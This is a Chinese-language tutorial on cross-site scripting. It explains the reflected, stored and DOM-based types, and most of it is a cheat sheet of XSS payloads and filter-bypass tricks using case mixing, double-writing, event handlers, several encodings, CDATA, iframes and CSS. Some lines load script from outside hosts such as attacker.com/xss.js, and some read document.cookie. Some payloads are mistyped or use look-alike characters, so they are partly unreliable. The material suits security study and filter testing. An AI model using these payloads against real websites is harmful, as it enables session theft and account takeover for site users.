XSS攻击场景分析
在目前这个时间节点还是属于一个排位比较高的漏洞,在OWASP TOP10 2021中隶属于注入型漏洞,高居TOP3的排位,可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义,以及XSS的核心。XSS主流分类分为:反射型,存储型,DOM型三类,比较重要的是存储型。
1 XSS介绍
1.1 定义
XSS攻击全称为跨站脚本,XSS的 重点在于脚本执行,而不是跨站。这是一种将任意JavaScript代码插到其他web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览器页面时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
1.2产生原因
是由于web应用程序对用户的输入和输出过滤不足产生的,导致脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危险。
1.3 攻击手段和目的
- 盗用cookie,获取敏感信息。
- 利用植入Flash,通过cross domain权限设置进一步获取更高权限。
- 利用iframe、frame、等方法,以用户的身份执行一些管理动作。
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作。
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
1.4 XSS攻击流程
1.5 XSS攻击分类
1.5.1 反射型XSS攻击
反射型 XSS 是指应用程序通过 Web 请求获取不可信赖的数据,并在未检验数据是否存在恶意代码的情况下,将其发送给用户。反射型 XSS 一般可以由攻击者构造带有恶意代码参数的 URL 来实现,在构造的URL 地址被打开后,其中包含的恶意代码参数被浏览器解析和执行。这种攻击的特点是非持久化,必须用户点击包含恶意代码参数的链接时才会触发。
1.5.2 存储型XSS攻击
在存储型XSS中,XSS代码被存储到服务器端,因此允许用户存储数据到服务器端的Web应用程序可能存在该类型XSS漏洞。攻击者提交一段XSS代码后,服务器接收并存储,当其他用户访问包含该XSS代码的页面时,XSS代码被浏览器解析并执行。
存储型XSS攻击的特点之一是提交的恶意内容会被永久存储,因而一个单独的恶意代码就会使多个用户受害,故被称为持久性XSS,它也是跨站脚本攻击中危害最的一类。二是被存储的用户提交的恶意内容不一定被页面使用,因此存在危险的响应信息不一定被立即返回,也许在访问那些在时间上和空间上没有直接关联的页面时才会引发攻击,因此存在不确定性和更好的隐蔽性。
1.5.3 DOM型XSS攻击
DOM常用来表示在HTML和XML中的对象。DOM可以允许程序动态的访问和更新文档的内容、结构等。客户端JavaScript可以访问浏览器的文档对象模型。也就是说,通过JavaScript代码控制DOM节点就可以不经过服务器端的参与重构HTML页面。
该类攻击是反射型XSS的变种。它通常是由于客户端接收到的脚本代码存在逻辑错误或者使用不当导致的。比如Javascript代码不正确地使用各种DOM方法(如document.write)和Javascript内部函数(如eval函数),动态拼接HTML代码和脚本代码就容易引发DOM型的跨站脚本攻击。
2 XSS攻击各类payload解析
2.1 XSS可插入标签
用户输入作为script标签内容
用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- --><script>alert(‘hack’)</script><!-- -->
用户输入作为html标签内容
用户输入作为html标签的属性名
<div 用户输入=’xx’> </div>
<div> </div> <script> alert(‘hack’)></script><div a=’xx’></div>
用户输入作为html标签的属性值
<div 用户输入=’xx> </div>
<div id=’’> </div> <script>alert(‘hack’)</script><div a=’x’></div>
用户输入作为html标签的名字
<用户输入 id=’xx’ />
<’> <script>alert(‘hack’)</script><b id=’xx’ />
直接插入到CSS里,用户输入作为CSS内容,导致攻击者可以进行闭合绕过。
<style>用户输入</style>
<style> </style><script>alert(‘hack’)</script><style> </style>
- <script>标签
<script> alert('hack') </script>
<script> alert(/hack/) </script>
<script> alert(1) </script>
<script> alert(document.cookie) </script>
<script src=http///xss.js></script>
- Svg标签
<svg><a οnlοad=alert(1)></a>
<svg><abbr οnlοad=alert(1)></abbr>
<svg><acronym οnlοad=alert(1)></acronym>
<svg><address οnlοad=alert(1)></address>
- <img>标签
<img src=`xx:xx`οnerrοr=alert(1)>
<img src=1 οnerrοr=alert(‘hack’)> <img src=1 οnerrοr=alert(document.cookie>
- <body>标签
<body οnlοad=alert(1)> <body οnpageshοw=alert(1)>
- video标签
<video οndragοver=alert(1) contenteditable>drop here</video>
<video οnlοadstart=alert(1) src=’/media/hack-the-planet.mmp4’>
- style标签
<style onload = alert(1)> </style>
<style draggable="true" οndrag="alert(1)">test</style>
<style draggable="true" οndragend="alert(1)">test</style>
2.2 XSS绕过
2.2.1 大小写绕过
HTML对标签大小写不敏感,可以利用大小写混用绕过
<Script>alert(1)</Script>
<sCRipT>alert('test')</sCrIPt>
<SCRIPT>a=/XSS/alert(243)</SCRIPT>
<SCRIPT>aLeRT(111)</sCRIpt>
2.2.2 空格回车TAB
当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。
例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理
代码如下(示例):
<img src="java script:alert(‘xss‘);" width=100>
<img src="javascript: alert(‘xss‘);" width=100>
<script src=java script:alert(1)>
<iframe src=java script:alert(1)>
<embed src=java script:alert(1)>
2.2.3 双写绕过
有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签(后台会有有关的re_place函数处理,如script替换为空)
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>
<scscriptript draggable="true" οndrag="alert(1)">test</sscriptcript>
<sscriptcript draggable="true" οndragend="alert(1)">test</scscriptript>
<scrscriptipt draggable="true" οndragenter="alert(1)">test</scrscriptipt>
<scriscriptpt draggable="true" οndragleave="alert(1)">test</scripscriptt>
2.2.4 事件绕过
加入一些事件 此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick
onclick | 在用户使用鼠标左键点击对象时触发 |
ondblclick | 用户双击对象时触发 |
onmousedown | 用户用任何鼠标按键单击对象时触发 |
onmouseenter/onmouseover | 用户将鼠标指针移动到对象内时触发 |
onmouseleave/onmouseout | 用户将鼠标移出对象边界时触发 |
onmousemove | 用户将鼠标划过对象时触发 |
onmouseup | 用户在鼠标位于对象之上时释放鼠标按钮触发 |
onmousewheel | 鼠标滚轮按钮旋转时触发 |
<img src=1 οnerrοr=alert("xss");>
<input οnfοcus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
<input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件
<details οntοggle="alert('xss');">
<details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件
<svg οnlοad=alert("xss");>
<iframe οnlοad=alert("xss");></iframe>
<body/οnlοad=alert("xss");>
2.2.5 编码绕过
对payload的关键标志词/函数进行对应编码,如js编码、base64编码、url编码、html编码、unicode编码等等。
Imd标签中onerror属性进行编码:
<img src=x οnerrοr=”javascript:alert('XSS')″>
十进制HTML字符实体编码:
<IMG SRC=javascript:alert('XSS')>
不带分号的十六进制HTML字符实体编码:
<IMG SRC=javascript:alert('XSS')>
使用编码后的TAB来分开XSS攻击代码
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
Base64编码:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<script> location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; </script>
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
<a href="javascript:eval(atob('YWxlcnQoJ1hTUycp'));">Click me</a>
url编码:
%3Cscript%3Ealert('XSS')%3C/script%3E
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
Unicode编码:
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E
JS编码:
<a href="javascript:eval('\u0061lert(1)')">Click me</a>
JS 指定Unicode编码序号:
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
十六进制编码:
\x3cscript\\x3ealert(document.domain);\x3c/script\x3e
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=java..省略..XSS')>
<a href="javascript:\u0061le%72t(1)"><button>
混合编码:
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
2.2.6 其余绕过
1. 利用CDATA区块绕过,在XML或XHTML上下文中使用。
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
<![CDATA[<script>]]>alert('XSS')<!—
2. 利用注释绕过:在脚本中添加HTML注释混淆过滤器
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<!--<script>alert('XSS')</script>-->
3. 使用文档对象模型(DOM),适用于过滤器不处理javascript伪协议的情况
<a href="javascript:alert('XSS')">Click me</a>
<animation xlink:href="javascript:alert(88)"/>
4. 利用HTML5功能:在支持HTML5的网站中绕过过滤
<audio src="x" οnerrοr="alert('XSS')"/>
<audio draggable="true" οndragenter="alert(1)">test</audio>
<audio draggable="true" οndragleave="alert(1)">test</audio>
<audio draggable="true" οndragstart="alert(1)">test</audio>
5. 使用特殊字符:关键词中插入特殊字符(如空字符)来绕过过滤
<scr\0ipt>alert('XSS')</scr\0ipt>
<<scr\0ipt/src=http://xss.com/xss.js></script
6. 利用外部脚本
<script src="http://attacker.com/xss.js"></script>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/ pdf/helloworld_js_X.pdf"> ?
<object data="http://corkami.googlecode.com/svn/!svn/bc /pdf/helloworld_js_X.pdf">?
7. 使用IFrame:通过iframe执行脚本,适用于过滤器未限制iframe的情况
<iframe src="javascript:alert('XSS');"></iframe>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
8. 利用CSS注入:通过CSS属性执行脚本。
<div/οnmοuseοver='alert(1)'> style="x:">
<div style="background:url(javascript:alert('XSS'))"></div>
9. 使用Object标签: 通过Object标签执行JavaScript代码。
<object data="javascript:alert('XSS');"></object>